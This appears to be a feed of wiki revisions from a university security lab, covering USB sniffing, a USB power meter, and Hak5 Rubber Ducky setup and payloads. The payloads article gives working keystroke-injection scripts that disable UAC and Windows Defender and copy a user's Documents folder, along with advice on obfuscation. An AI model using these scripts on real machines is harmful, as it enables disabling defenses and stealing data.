As can be seen the first messages shows the reset that is done by the application before starting the connection. The first packet is a SOF (Start of Frame) packet that denotes the start of a frame and contains a frame number that is incremented. These packets can be hidden by clicking on &#039;&#039;Hide SOFs&#039;&#039; since they don’t give us much information. All packets that can be seen above are IN-packets that signal to the USB thumbdrive that the host whishes to read information. It is also possible to hide NAKs, which are signals that the device temporarily can’t receive data and you can also hide the packets itself. When hiding packets you get a view that only shows you transactions that subsume the actual packets. Scrolling further down we find the actual data transfer.&lt;br /&gt;
&lt;br /&gt;
Below a early part of the data transfer can be seen. The first transaction is a control transfer that uses SETUP-packets which are used to configure the way the device transfers data. These messages are needed less in the latter parts of the transaction. You can also see an OUT-packet  where the device informs the host that it wants to send data and etween those the data packets (333, 336, 339) can be seen. Every transaction is ended with an ACK-packet.&lt;br /&gt;
&lt;br /&gt;
[[File:ezSniffer_cap_data.png|thumb|none|750px|Data transactions]]&lt;br /&gt;
&lt;br /&gt;
A second test using a standard USB mouse was unfortunately inconclusive. The EzSniffer could not capture any actual packets and showed only reset messages. If you need to capture packets other than datapackets you should try the [[Beagle USB 12 Protocol Analyzer]].&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* BugBlat EzSniffer USB Protocol Analyzer&lt;br /&gt;
* Kingston DT50 16GB USB 3.0 Thumbdrive&lt;br /&gt;
* Logitech M100 mouse&lt;br /&gt;
* 2 Windows 10 PCs&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[EzSniffer USB Protocol Analyzer]]&lt;br /&gt;
* https://www.bugblat.com/products/ezsniff/index.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Charger_Doctor&amp;diff=10245</id>
		<title>USB Charger Doctor</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Charger_Doctor&amp;diff=10245"/>
		<updated>2022-07-08T06:23:59Z</updated>

		<summary type="html">&lt;p&gt;BVogler: minor corrections&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The USB Charger Doctor is a voltage and current meter that measures in-line. It supports USB 1.x and 2.x and has no USB 3.x capabilities. Its a handy tool to test USB devices, check load levels and debug battery chargers and boost converters.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* USB type-A connectors to connect the Charger Doctor in-line&lt;br /&gt;
* No additional software required&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
The USB Charger Doctor is easily used by connecting it in-line between a power source and a chargeable device. When connected the display switches between voltage and current every 3 seconds. It has a working Range of 0-3 Ampere and 3.5 to 7 Volt DC with a display precision of 10mV and 10mA. Following some pictures are provided to illustrate the difference in power delivery between a regular USB 2.0 port on a notebook and a mobile phone power adapter. The smartphone used was at ~90% charge. &lt;br /&gt;
&lt;br /&gt;
=== USB 2.0 Port on a notebook ===&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Adapter_Voltage.jpg|thumb|none|500px|Voltage - using an USB 2.0 Port on a notebook]]&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Adapter_Ampere.jpg|thumb|none|500px|Ampere - using an USB 2.0 Port on a notebook]]&lt;br /&gt;
&lt;br /&gt;
=== Smartphone power adapter ===&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Notebook_Volt.jpg|thumb|none|500px|Voltage - using a common smartphone power adapter]]&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Notebook_Ampere.jpg|thumb|none|500px|Ampere - using a common smartphone power adapter]]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Charger Doctor&lt;br /&gt;
* Windows 10 Notebook with USB 2.0 port&lt;br /&gt;
* Nokia 7 plus Android Smartphone&lt;br /&gt;
* Nokia AD-18WE Power Adapter&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[CHARGER Doctor USB Power Meter]]&lt;br /&gt;
* https://www.adafruit.com/product/1852&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=10244</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=10244"/>
		<updated>2022-07-08T06:18:30Z</updated>

		<summary type="html">&lt;p&gt;BVogler: minor corrections&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/wiki&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/usb-rubber-ducky-1/the-ducky-script-language/ducky-script-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. This can potentially be reduced to DELAY 1000 depending on the target host.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Firmware_Update&amp;diff=10243</id>
		<title>USB Rubber Ducky: Firmware Update</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Firmware_Update&amp;diff=10243"/>
		<updated>2022-07-08T05:59:14Z</updated>

		<summary type="html">&lt;p&gt;BVogler: minor corrections&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article consists of a short guide on changing/updating the USB Rubber Ducky firmware. It is intended as a supplement to the existing online guides since those are partly out of date.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Ubuntu Linux (tested on 20.04 LTS) or similar&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
We will be using the Ducky-Flasher utility by kmichael500 which is provided [https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility here] and we will make certain adjustments to get it to run on a modern Ubuntu Linux system. The afore mentioned guide also provides a way to update firmware on Windows, but this way does not seem to work with current Windows versions. If you want to update the firmware manually you can follow the Unix/OSX guide, which uses the dfu-programmer package like the Ducky-Flasher utility does and should also work on Linux.&lt;br /&gt;
&lt;br /&gt;
# Install dfu-programmer&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;apt-get install dfu-programmer&amp;lt;/code&amp;gt;&lt;br /&gt;
# Install Python 2.x&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;apt-get install python2&amp;lt;/code&amp;gt;&lt;br /&gt;
# Download and unzip Ducky-Flasher&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;wget https://github.com/hak5darren/USB-Rubber-Ducky/raw/master/Flash/ducky-flasher1.0.zip&amp;lt;/code&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;unzip ducky-flasher1.0.zip&amp;lt;/code&amp;gt;&lt;br /&gt;
# Open ducky-flasher and change the Shebang to &amp;lt;/br&amp;gt;&amp;lt;code&amp;gt;#!/usr/bin/env python2&amp;lt;/code&amp;gt;&lt;br /&gt;
# (optional) Ducky-Flasher provides four different firmware images (Original, FAT Duck, Detour Duck and Twin Duck).&amp;lt;br/&amp;gt;Additional firmware images can be found [https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Firmware/Images here]. If you want to use one of these image you can rename it and overwrite a image file in &amp;lt;code&amp;gt;ducky-flasher/firmware&amp;lt;/code&amp;gt; or modify the Ducky-Flasher program itself to add new firmware. &lt;br /&gt;
# Install the Ducky-Flasher&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;sudo python2 setup.py&amp;lt;/code&amp;gt;&lt;br /&gt;
# Connect the Rubber Ducky in DFU mode by keeping the button pressed while plugging it in.&lt;br /&gt;
# Start the Ducky-Flasher and follow the instructions&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;sudo ducky-flasher&amp;lt;/code&amp;gt;&lt;br /&gt;
# (optional) Uninstall the Ducky-Flasher&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;sudo python2 uninstall.py&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Payloads]]&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Firmware/Images&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Hak5_Rubber_Ducky&amp;diff=10234</id>
		<title>Hak5 Rubber Ducky</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Hak5_Rubber_Ducky&amp;diff=10234"/>
		<updated>2022-07-06T14:08:44Z</updated>

		<summary type="html">&lt;p&gt;BVogler: removed dead link + added link to firmware update guide&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
This documentation is about the USB Rubber Ducky, a [https://wiki.elvis.science/index.php?title=Key_Stroke_Injection keystroke injection] tool. It will explain USB Rubber Ducky basics, show some available tools for writing and encoding/decoding scripts, as well to change Rubber Ducky&#039;s firmware.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
Rubber Ducky itself is operating system independent but you will need a pc with an USB A port in order to be able to create and deploy your own payloads.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
[[File:rubber_ducky_inside.png|thumb|Rubber Ducky under the hood]]&lt;br /&gt;
USB Rubber Ducky, is a keyboard injection tool, mainly used from penetration testers and system administrators.&lt;br /&gt;
The Rubber Ducky comes disguised with an innocent USB flash drive chassis, to aid in social engineering.&lt;br /&gt;
But under the hood hides a 60 MHz 32-bit AT32UC3B1256 CPU with 256K onboard flash, and a micro SD card storage to host the payload, which is ready to deploy with over 9000 characters per minute, once connected into an USB slot.&lt;br /&gt;
&lt;br /&gt;
The device where Rubber Ducky is connected, recognizes it as a USB Keyboard. But it is also possible to change the PID/VID (Product ID/Vendor ID), so Rubber Ducky can claim to be any USB Human Interface Device (HID).&lt;br /&gt;
The payload, is written in Ducky Script, which is a very simple scripting language. Its syntax consists of just a few keywords, so everyone can directly start developing their own ducky scripts.&lt;br /&gt;
&lt;br /&gt;
== Package Content ==&lt;br /&gt;
&lt;br /&gt;
[[File:USBRubberDucky.jpg|thumb|Rubber Ducky package content]]&lt;br /&gt;
&lt;br /&gt;
If you purchase the USB Rubber Ducky form Hak5 you will find this content:&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* 128 MB micro SD Card&lt;br /&gt;
* The casing of the USB Rubber Ducky&lt;br /&gt;
* USB micro SD Card reader&lt;br /&gt;
* USB A female to micro USB male adapter&lt;br /&gt;
* USB Rubber Ducky field guide&lt;br /&gt;
&lt;br /&gt;
The USB micro SD Card reader to transfer the encoded the program onto the micro SD Card.&lt;br /&gt;
The USB A female to micro USB male adapter allows to use the USB Rubber Ducky on mobile devices.&lt;br /&gt;
&lt;br /&gt;
== Rubber Ducky Basics ==&lt;br /&gt;
Before diving into the world of keystroke injection attacks, a reader should be familiar with the following terms:&lt;br /&gt;
&lt;br /&gt;
=== Payload ===&lt;br /&gt;
The payload tells USB Rubber Ducky what keystroke sequence shall be injected, once connected into a USB jack. Payloads are written in a language called Ducky Script.&lt;br /&gt;
&lt;br /&gt;
=== Ducky Script ===&lt;br /&gt;
Ducky Script is the script language, in which payloads are written. Ducky Scripts are pure text, so any ascii based text editor can be used. The syntax is very easy, each command (all capital letters) resides on a new line with options to follow. See [https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript here] a list of commands and their functions.&lt;br /&gt;
&lt;br /&gt;
=== Duck Encoder ===&lt;br /&gt;
Since Rubber Ducky is not able to interpret text files natively, the scripts need to be encoded into a binary keystroke injection file. There are many tools out there and they come in different flavors, as a browser app, a cli program or with a VB GUI. They all work the same, and produce an inject.bin file. There are also decoder tools available to reverse the process and produce ducky scripts from binary files.&lt;br /&gt;
&lt;br /&gt;
=== inject.bin ===&lt;br /&gt;
The inject.bin file is the compiled version of the ducky script. This file is then transferred on to a micro SD card and placed in Rubber Ducky&#039;s SD card reader, in order to be read and processed by the firmware.&lt;br /&gt;
&lt;br /&gt;
=== Firmware ===&lt;br /&gt;
Rubber Ducky&#039;s source code is open, so many different firmware alternatives are published from the community. Depending on the attack strategy, choose the firmware with specialized functionality, like: &lt;br /&gt;
* Multi Operating System Support (Duck)&lt;br /&gt;
* Mass Storage (FAT Duck)&lt;br /&gt;
* Multiple Payload Delivery (Detour Duck)&lt;br /&gt;
* Mass Storage &amp;amp; HID Keyboard Emulation (Twin Duck)&lt;br /&gt;
Tools to flash firmware for Unix/OSX and Windows, including a tutorial can be found [https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky here] and a guide for recent Ubuntu systems here: [[USB Rubber Ducky: Firmware Update]].&lt;br /&gt;
&lt;br /&gt;
== Attack Workflow ==&lt;br /&gt;
No matter what kind of device the chosen target will be, the workflow will be basically similar for all devices.&lt;br /&gt;
&lt;br /&gt;
=== Research ===&lt;br /&gt;
Since Rubber Ducky acts as a simple preprogrammed input device, an attack is more likely to be successful, the more detailed information is gathered during reconnaissance phase, using social engineering and open source intelligence gathering techniques.&lt;br /&gt;
Once you know details about the used hardware and software running on it, try to rebuild the setup in bare metal or in a virtual environment, to test and optimize payload. &lt;br /&gt;
&lt;br /&gt;
=== Write ===&lt;br /&gt;
Writing ducky scripts always starts with trying out the payload by typing it directly into the test machine using the keyboard, and make step by step notes how you completed some tasks. Once all the necessary keystroke and shortcut combinations are found to complete the attack, the actual writing of the ducky script can start. But keep in mind that all machines vary in performance, especially when dealing with GUI elements. So be sure to add enough delay in the script, so the victim hosts has time enough to follow the keystrokes. A payload generator for multiple OS platforms can be found [https://ducktoolkit.com/payload here].&lt;br /&gt;
&lt;br /&gt;
=== Encode ===&lt;br /&gt;
Once the ducky script is completed, it&#039;s time to convert the human readable file into the binary formatted inject.bin file.  There is an online Encoder IDE which can be found on [https://ducktoolkit.com/encode ducktoolkit.com]. Or download an offline version from [https://downloads.hak5.org/api/devices/usbrubberducky/tools/jsencoder/1.0 here]. After encoding place the inject.bin file to the root folder of your micro SD card.&lt;br /&gt;
In case you need to convert back a binary file to ascii, use [https://ducktoolkit.com/decode this] or other decoding tools.&lt;br /&gt;
&lt;br /&gt;
=== Test and Optimize ===&lt;br /&gt;
Once the tests succeeded on a test environment, it&#039;s time to optimize the code in sense of speed (number of keystrokes and delays) and discreetness (to make the attack stealthier). But keep in mind, a less optimized version of your script might be slower, but more reliable when run on different devices.&lt;br /&gt;
&lt;br /&gt;
=== Deploy ===&lt;br /&gt;
&lt;br /&gt;
* Deploy the encoded script on the USB Rubber Ducky by Pasting the inject.bin file onto the micro SD Card.&lt;br /&gt;
* Use the USB Rubber Ducky and watch it type&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/wiki&lt;br /&gt;
* https://ducktoolkit.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Firmware_Update&amp;diff=10233</id>
		<title>USB Rubber Ducky: Firmware Update</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Firmware_Update&amp;diff=10233"/>
		<updated>2022-07-06T14:05:11Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article consists of a short guide on changing or updating the USB Rubber Ducky firmware. It is intended as a supplement to the existing online guides since those are partly out of date.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Host PC running Ubuntu Linux or a Virtual Machine (tested on 20.04 LTS)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
We will be using the Ducky-Flasher utility by kmichael500 which is provided here (https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility) and we will make certain adjustments to get it to run on a modern Ubuntu Linux system. The afore mentioned guide also provides ways to update firmware on Windows or OSX, but we could not get those to work on current Operating Systems.&lt;br /&gt;
&lt;br /&gt;
# Install dfu-programmer&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;apt-get install dfu-programmer&amp;lt;/code&amp;gt;&lt;br /&gt;
# Install Python 2.x&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;apt-get install python2&amp;lt;/code&amp;gt;&lt;br /&gt;
# Download and unzip Ducky-Flasher&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;wget https://github.com/hak5darren/USB-Rubber-Ducky/raw/master/Flash/ducky-flasher1.0.zip&amp;lt;/code&amp;gt;&amp;lt;br/&amp;gt;unzip ducky-flasher1.0.zip&lt;br /&gt;
# Open ducky-flasher with your favourite text editor and change the Shebang to &amp;lt;code&amp;gt;#!/usr/bin/env python2&amp;lt;/code&amp;gt;&lt;br /&gt;
# (optional) Ducky-Flasher provides four different firmware images (Original, FAT Duck, Detour Duck and Twin Duck).&amp;lt;br/&amp;gt;If you want to use a different firmware image you can either rename the file and overwrite to the corresponding file in the ducky-flasher/firmware directory or modify the Ducky-Flasher program itself to add new firmware. Firmware images can be found [https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Firmware/Images here].&lt;br /&gt;
# Install the Ducky-Flasher&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;sudo python2 setup.py&amp;lt;/code&amp;gt;&lt;br /&gt;
# Connect the Rubber Ducky in DFU mode by keeping the button pressed while plugging it in.&lt;br /&gt;
# Start the Ducky-Flasher and follow the instructions&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;sudo ducky-flasher&amp;lt;/code&amp;gt;&lt;br /&gt;
# (optional) Uninstall the Ducky-Flasher&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;sudo python2 uninstall.py&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
